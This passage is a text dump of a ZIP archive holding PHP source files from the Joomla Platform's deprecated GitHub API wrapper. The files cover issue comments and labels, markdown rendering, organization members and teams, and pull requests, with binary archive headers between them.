* Method to delete a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to delete.
*
* @deprecated use issues->comments->delete()
*
* @return void
*
* @since 1.7.3
*/
public function deleteComment($user, $repo, $commentId)
{
$this->comments->delete($user, $repo, $commentId);
}
/**
* Method to delete a label on a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $label The label name.
*
* @deprecated use issues->labels->delete()
*
* @return object
*
* @since 3.1.4
*/
public function deleteLabel($user, $repo, $label)
{
return $this->labels->delete($user, $repo, $label);
}
/**
* Method to update a comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @deprecated use issues->comments->edit()
*
* @return object
*
* @since 1.7.3
*/
public function editComment($user, $repo, $commentId, $body)
{
return $this->comments->edit($user, $repo, $commentId, $body);
}
/**
* Method to update a label on a repo.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $label The label name.
* @param string $name The label name.
* @param string $color The label color.
*
* @deprecated use issues->labels->update()
*
* @return object
*
* @since 3.1.4
*/
public function editLabel($user, $repo, $label, $name, $color)
{
return $this->labels->update($user, $repo, $label, $name, $color);
}
/**
* Method to get a specific comment on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The comment id to get.
*
* @deprecated use issues->comments->get()
*
* @return object
*
* @since 1.7.3
*/
public function getComment($user, $repo, $commentId)
{
return $this->comments->get($user, $repo, $commentId);
}
/**
* Method to get the list of comments on an issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @deprecated use issues->comments->getList()
*
* @return array
*
* @since 1.7.3
*/
public function getComments($user, $repo, $issueId, $page = 0, $limit = 0)
{
return $this->comments->getList($user, $repo, $issueId, $page,
$limit);
}
/**
* Method to get a specific label on a repo.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $name The label name to get.
*
* @deprecated use issues->labels->get()
*
* @return object
*
* @since 3.1.4
*/
public function getLabel($user, $repo, $name)
{
return $this->labels->get($user, $repo, $name);
}
/**
* Method to get the list of labels on a repo.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
*
* @deprecated use issues->labels->getList()
*
* @return array
*
* @since 3.1.4
*/
public function getLabels($user, $repo)
{
return $this->labels->getList($user, $repo);
}
}
PKLn�[�ٖ��github/package/markdown.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2012 - 2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Markdown class.
*
* @documentation https://developer.github.com/v3/markdown
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageMarkdown extends JGithubPackage
{
/**
* Method to render a markdown document.
*
* @param string $text The text object being parsed.
* @param string $mode The parsing mode; valid options are
'markdown' or 'gfm'.
* @param string $context An optional repository context, only used in
'gfm' mode.
*
* @since 3.3 (CMS)
* @throws DomainException
* @throws InvalidArgumentException
*
* @return string Formatted HTML
*/
public function render($text, $mode = 'gfm', $context = null)
{
// The valid modes
$validModes = array('gfm', 'markdown');
// Make sure the scope is valid
if (!in_array($mode, $validModes))
{
throw new InvalidArgumentException(sprintf('The %s mode is not
valid. Valid modes are "gfm" or "markdown".',
$mode));
}
// Build the request path.
$path = '/markdown';
// Build the request data.
$data = str_replace('\\/', '/', json_encode(
array(
'text' => $text,
'mode' => $mode,
'context' => $context,
)
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
$message = (isset($error->message)) ? $error->message :
'Error: ' . $response->code;
throw new DomainException($message, $response->code);
}
return $response->body;
}
}
PKLn�[K�kWgithub/package/orgs/members.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Orgs Members class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/orgs/members/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageOrgsMembers extends JGithubPackage
{
/**
* Members list.
*
* List all users who are members of an organization.
* A member is a user that belongs to at least 1 team in the organization.
* If the authenticated user is also a member of this organization then
* both concealed and public members will be returned.
* If the requester is not a member of the organization the query will be
* redirected to the public members list.
*
* @param string $org The name of the organization.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return boolean|mixed
*/
public function getList($org)
{
// Build the request path.
$path = '/orgs/' . $org . '/members';
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 302 :
// Requester is not an organization member.
return false;
break;
case 200 :
return json_decode($response->body);
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Check membership.
*
* Check if a user is, publicly or privately, a member of the
organization.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return boolean
*/
public function check($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/members/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 204 :
// Requester is an organization member and user is a member.
return true;
break;
case 404 :
// Requester is an organization member and user is not a member.
// Requester is not an organization member and is inquiring about
themselves.
return false;
break;
case 302 :
// Requester is not an organization member.
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Add a member.
*
* To add someone as a member to an org, you must add them to a team.
*/
/**
* Remove a member.
*
* Removing a user from this list will remove them from all teams and they
will no longer have
* any access to the organization’s repositories.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function remove($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/members/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Public members list.
*
* Members of an organization can choose to have their membership
publicized or not.
*
* @param string $org The name of the organization.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListPublic($org)
{
// Build the request path.
$path = '/orgs/' . $org . '/public_members';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check public membership.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function checkPublic($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/public_members/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 204 :
// Response if user is a public member.
return true;
break;
case 404 :
// Response if user is not a public member.
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Publicize a user’s membership.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function publicize($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/public_members/' . $user;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Conceal a user’s membership.
*
* @param string $org The name of the organization.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function conceal($org, $user)
{
// Build the request path.
$path = '/orgs/' . $org . '/public_members/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKLn�[�4[��%�%github/package/orgs/teams.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Orgs Teams class for the Joomla Platform.
*
* All actions against teams require at a minimum an authenticated user who
is a member
* of the owner’s team in the :org being managed. Additionally, OAuth
users require “user” scope.
*
* @documentation https://developer.github.com/v3/orgs/teams/
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackageOrgsTeams extends JGithubPackage
{
/**
* List teams.
*
* @param string $org The name of the organization.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($org)
{
// Build the request path.
$path = '/orgs/' . $org . '/teams';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get team.
*
* @param integer $id The team id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($id)
{
// Build the request path.
$path = '/teams/' . (int) $id;
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Create team.
*
* In order to create a team, the authenticated user must be an owner of
the organization.
*
* @param string $org The name of the organization.
* @param string $name The name of the team.
* @param array $repoNames Repository names.
* @param string $permission The permission.
* pull - team members can pull, but not
push to or administer these repositories. Default
* push - team members can pull and push,
but not administer these repositories.
* admin - team members can pull, push and
administer these repositories.
*
* @throws UnexpectedValueException
*
* @since 3.3 (CMS)
*
* @return object
*/
public function create($org, $name, array $repoNames = array(),
$permission = '')
{
// Build the request path.
$path = '/orgs/' . $org . '/teams';
$data = array(
'name' => $name,
);
if ($repoNames)
{
$data['repo_names'] = $repoNames;
}
if ($permission)
{
if (false == in_array($permission, array('pull',
'push', 'admin')))
{
throw new UnexpectedValueException('Permissions must be either
"pull", "push", or "admin".');
}
$data['permission'] = $permission;
}
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Edit team.
*
* In order to edit a team, the authenticated user must be an owner of the
org that the team is associated with.
*
* @param integer $id The team id.
* @param string $name The name of the team.
* @param string $permission The permission.
* pull - team members can pull, but not
push to or administer these repositories. Default
* push - team members can pull and push,
but not administer these repositories.
* admin - team members can pull, push and
administer these repositories.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function edit($id, $name, $permission = '')
{
// Build the request path.
$path = '/teams/' . (int) $id;
$data = array(
'name' => $name,
);
if ($permission)
{
if (false == in_array($permission, array('pull',
'push', 'admin')))
{
throw new UnexpectedValueException('Permissions must be either
"pull", "push", or "admin".');
}
$data['permission'] = $permission;
}
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Delete team.
*
* In order to delete a team, the authenticated user must be an owner of
the org that the team is associated with.
*
* @param integer $id The team id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function delete($id)
{
// Build the request path.
$path = '/teams/' . $id;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* List team members.
*
* In order to list members in a team, the authenticated user must be a
member of the team.
*
* @param integer $id The team id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListMembers($id)
{
// Build the request path.
$path = '/teams/' . $id . '/members';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get team member.
*
* In order to get if a user is a member of a team, the authenticated user
must be a member of the team.
*
* @param integer $id The team id.
* @param string $user The name of the user.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function isMember($id, $user)
{
// Build the request path.
$path = '/teams/' . $id . '/members/' . $user;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 204 :
// Response if user is a member
return true;
break;
case 404 :
// Response if user is not a member
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Add team member.
*
* In order to add a user to a team, the authenticated user must have
‘admin’ permissions
* to the team or be an owner of the org that the team is associated with.
*
* @param integer $id The team id.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function addMember($id, $user)
{
// Build the request path.
$path = '/teams/' . $id . '/members/' . $user;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Remove team member.
*
* In order to remove a user from a team, the authenticated user must have
‘admin’ permissions
* to the team or be an owner of the org that the team is associated with.
* NOTE: This does not delete the user, it just remove them from the team.
*
* @param integer $id The team id.
* @param string $user The name of the user.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function removeMember($id, $user)
{
// Build the request path.
$path = '/teams/' . $id . '/members/' . $user;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* List team repos.
*
* @param integer $id The team id.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getListRepos($id)
{
// Build the request path.
$path = '/teams/' . $id . '/repos';
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Check if the repo is managed by this team.
*
* @param integer $id The team id.
* @param string $repo The name of the GitHub repository.
*
* @throws UnexpectedValueException
* @since 3.3 (CMS)
*
* @return object
*/
public function checkRepo($id, $repo)
{
// Build the request path.
$path = '/teams/' . $id . '/repos/' . $repo;
$response = $this->client->get($this->fetchUrl($path));
switch ($response->code)
{
case 204 :
// Response if repo is managed by this team.
return true;
break;
case 404 :
// Response if repo is not managed by this team.
return false;
break;
default :
throw new UnexpectedValueException('Unexpected response code:
' . $response->code);
break;
}
}
/**
* Add team repo.
*
* In order to add a repo to a team, the authenticated user must be an
owner of the
* org that the team is associated with. Also, the repo must be owned by
the organization,
* or a direct form of a repo owned by the organization.
*
* If you attempt to add a repo to a team that is not owned by the
organization, you get:
* Status: 422 Unprocessable Entity
*
* @param integer $id The team id.
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function addRepo($id, $owner, $repo)
{
// Build the request path.
$path = '/teams/' . $id . '/repos/' . $owner .
'/' . $repo;
return $this->processResponse(
$this->client->put($this->fetchUrl($path), ''),
204
);
}
/**
* Remove team repo.
*
* In order to remove a repo from a team, the authenticated user must be
an owner
* of the org that the team is associated with. NOTE: This does not delete
the
* repo, it just removes it from the team.
*
* @param integer $id The team id.
* @param string $owner The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function removeRepo($id, $owner, $repo)
{
// Build the request path.
$path = '/teams/' . (int) $id . '/repos/' . $owner .
'/' . $repo;
return $this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
}
PKLn�[P��P
P
github/package/orgs.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Activity class for the Joomla Platform.
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @documentation https://developer.github.com/v3/orgs/
*
* @property-read JGithubPackageOrgsMembers $members GitHub API object
for members.
* @property-read JGithubPackageOrgsTeams $teams GitHub API object
for teams.
*/
class JGithubPackageOrgs extends JGithubPackage
{
protected $name = 'Orgs';
protected $packages = array('members', 'teams');
/**
* List User Organizations.
*
* If a user name is given, public and private organizations for the
authenticated user will be listed.
*
* @param string $user The user name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function getList($user = '')
{
// Build the request path.
$path = ($user)
? '/users/' . $user . '/orgs'
: '/user/orgs';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Get an Organization.
*
* @param string $org The organization name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function get($org)
{
// Build the request path.
$path = '/orgs/' . $org;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Edit an Organization.
*
* @param string $org The organization name.
* @param string $billingEmail Billing email address. This address is
not publicized.
* @param string $company The company name.
* @param string $email The email address.
* @param string $location The location name.
* @param string $name The name.
*
* @since 3.3 (CMS)
*
* @return object
*/
public function edit($org, $billingEmail = '', $company =
'', $email = '', $location = '', $name =
'')
{
// Build the request path.
$path = '/orgs/' . $org;
$args = array('billing_email', 'company',
'email', 'location', 'name');
$data = array();
$fArgs = func_get_args();
foreach ($args as $i => $arg)
{
if (array_key_exists($i + 1, $fArgs) && $fArgs[$i + 1])
{
$data[$arg] = $fArgs[$i + 1];
}
}
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
}
PKLn�[�����!github/package/pulls/comments.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Pulls Comments class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/pulls/comments/
*
* @since 3.3 (CMS)
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubPackagePullsComments extends JGithubPackage
{
/**
* Method to create a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $body The comment body text.
* @param string $commitId The SHA1 hash of the commit to comment on.
* @param string $filePath The Relative path of the file to comment
on.
* @param string $position The line index in the diff to comment on.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $pullId, $body, $commitId, $filePath,
$position)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/comments';
// Build the request data.
$data = json_encode(
array(
'body' => $body,
'commit_id' => $commitId,
'path' => $filePath,
'position' => $position,
)
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to create a comment in reply to another comment.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $body The comment body text.
* @param integer $inReplyTo The id of the comment to reply to.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function createReply($user, $repo, $pullId, $body, $inReplyTo)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/comments';
// Build the request data.
$data = json_encode(
array(
'body' => $body,
'in_reply_to' => (int) $inReplyTo,
)
);
// Send the request.
return $this->processResponse(
$this->client->post($this->fetchUrl($path), $data),
201
);
}
/**
* Method to delete a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to delete.
*
* @throws DomainException
* @since 1.7.3
*
* @return void
*/
public function delete($user, $repo, $commentId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/comments/' . (int) $commentId;
// Send the request.
$this->processResponse(
$this->client->delete($this->fetchUrl($path)),
204
);
}
/**
* Method to update a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($user, $repo, $commentId, $body)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/comments/' . (int) $commentId;
// Build the request data.
$data = json_encode(
array(
'body' => $body,
)
);
// Send the request.
return $this->processResponse(
$this->client->patch($this->fetchUrl($path), $data)
);
}
/**
* Method to get a specific comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The comment id to get.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($user, $repo, $commentId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/comments/' . (int) $commentId;
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path))
);
}
/**
* Method to get the list of comments on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($user, $repo, $pullId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/comments';
// Send the request.
return $this->processResponse(
$this->client->get($this->fetchUrl($path, $page, $limit))
);
}
}
PKLn�[Y��F;F;github/package/pulls.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API Pull Requests class for the Joomla Platform.
*
* @documentation https://developer.github.com/v3/pulls
*
* @since 1.7.3
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*
* @property-read JGithubPackagePullsComments $comments GitHub API
object for comments.
*/
class JGithubPackagePulls extends JGithubPackage
{
protected $name = 'Pulls';
protected $packages = array(
'comments',
);
/**
* Method to create a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $title The title of the new pull request.
* @param string $base The branch (or git ref) you want your changes
pulled into. This
* should be an existing branch on the current
repository. You cannot
* submit a pull request to one repo that
requests a merge to a base
* of another repo.
* @param string $head The branch (or git ref) where your changes are
implemented.
* @param string $body The body text for the new pull request.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function create($user, $repo, $title, $base, $head, $body =
'')
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls';
// Build the request data.
$data = json_encode(
array(
'title' => $title,
'base' => $base,
'head' => $head,
'body' => $body,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to create a pull request from an existing issue.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $issueId The issue number for which to attach the
new pull request.
* @param string $base The branch (or git ref) you want your
changes pulled into. This
* should be an existing branch on the current
repository. You cannot
* submit a pull request to one repo that
requests a merge to a base
* of another repo.
* @param string $head The branch (or git ref) where your changes
are implemented.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function createFromIssue($user, $repo, $issueId, $base, $head)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls';
// Build the request data.
$data = json_encode(
array(
'issue' => (int) $issueId,
'base' => $base,
'head' => $head,
)
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to update a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $title The optional new title for the pull request.
* @param string $body The optional new body text for the pull
request.
* @param string $state The optional new state for the pull request.
[open, closed]
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function edit($user, $repo, $pullId, $title = null, $body = null,
$state = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId;
// Create the data object.
$data = new stdClass;
// If a title is set add it to the data object.
if (isset($title))
{
$data->title = $title;
}
// If a body is set add it to the data object.
if (isset($body))
{
$data->body = $body;
}
// If a state is set add it to the data object.
if (isset($state))
{
$data->state = $state;
}
// Encode the request data.
$data = json_encode($data);
// Send the request.
$response = $this->client->patch($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a single pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function get($user, $repo, $pullId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of commits for a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getCommits($user, $repo, $pullId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/commits';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to get a list of files for a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getFiles($user, $repo, $pullId, $page = 0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/files';
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list pull requests.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $state The optional state to filter requests by.
[open, closed]
* @param integer $page The page number from which to get items.
* @param integer $limit The number of items on a page.
*
* @throws DomainException
* @since 1.7.3
*
* @return array
*/
public function getList($user, $repo, $state = 'open', $page =
0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls';
// If a state exists append it as an option.
if ($state != 'open')
{
$path .= '?state=' . $state;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to check if a pull request has been merged.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number. The pull request
number.
*
* @throws DomainException
* @since 1.7.3
*
* @return boolean True if the pull request has been merged.
*/
public function isMerged($user, $repo, $pullId)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/merge';
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code == 204)
{
return true;
}
elseif ($response->code == 404)
{
return false;
}
else
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
}
/**
* Method to merge a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $message The message that will be used for the merge
commit.
*
* @throws DomainException
* @since 1.7.3
*
* @return object
*/
public function merge($user, $repo, $pullId, $message = '')
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/pulls/' . (int) $pullId . '/merge';
// Build the request data.
$data = json_encode(
array(
'commit_message' => $message,
)
);
// Send the request.
$response = $this->client->put($this->fetchUrl($path), $data);
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/*
* Legacy methods
*/
/**
* Method to create a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $body The comment body text.
* @param string $commitId The SHA1 hash of the commit to comment on.
* @param string $filePath The Relative path of the file to comment
on.
* @param string $position The line index in the diff to comment on.
*
* @deprecated use pulls->comments->create()
*
* @return object
*
* @since 1.7.3
*/
public function createComment($user, $repo, $pullId, $body, $commitId,
$filePath, $position)
{
return $this->comments->create($user, $repo, $pullId, $body,
$commitId, $filePath, $position);
}
/**
* Method to create a comment in reply to another comment.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $pullId The pull request number.
* @param string $body The comment body text.
* @param integer $inReplyTo The id of the comment to reply to.
*
* @deprecated use pulls->comments->createReply()
*
* @return object
*
* @since 1.7.3
*/
public function createCommentReply($user, $repo, $pullId, $body,
$inReplyTo)
{
return $this->comments->createReply($user, $repo, $pullId, $body,
$inReplyTo);
}
/**
* Method to delete a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to delete.
*
* @deprecated use pulls->comments->delete()
*
* @return void
*
* @since 1.7.3
*/
public function deleteComment($user, $repo, $commentId)
{
$this->comments->delete($user, $repo, $commentId);
}
/**
* Method to update a comment on a pull request.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param integer $commentId The id of the comment to update.
* @param string $body The new body text for the comment.
*
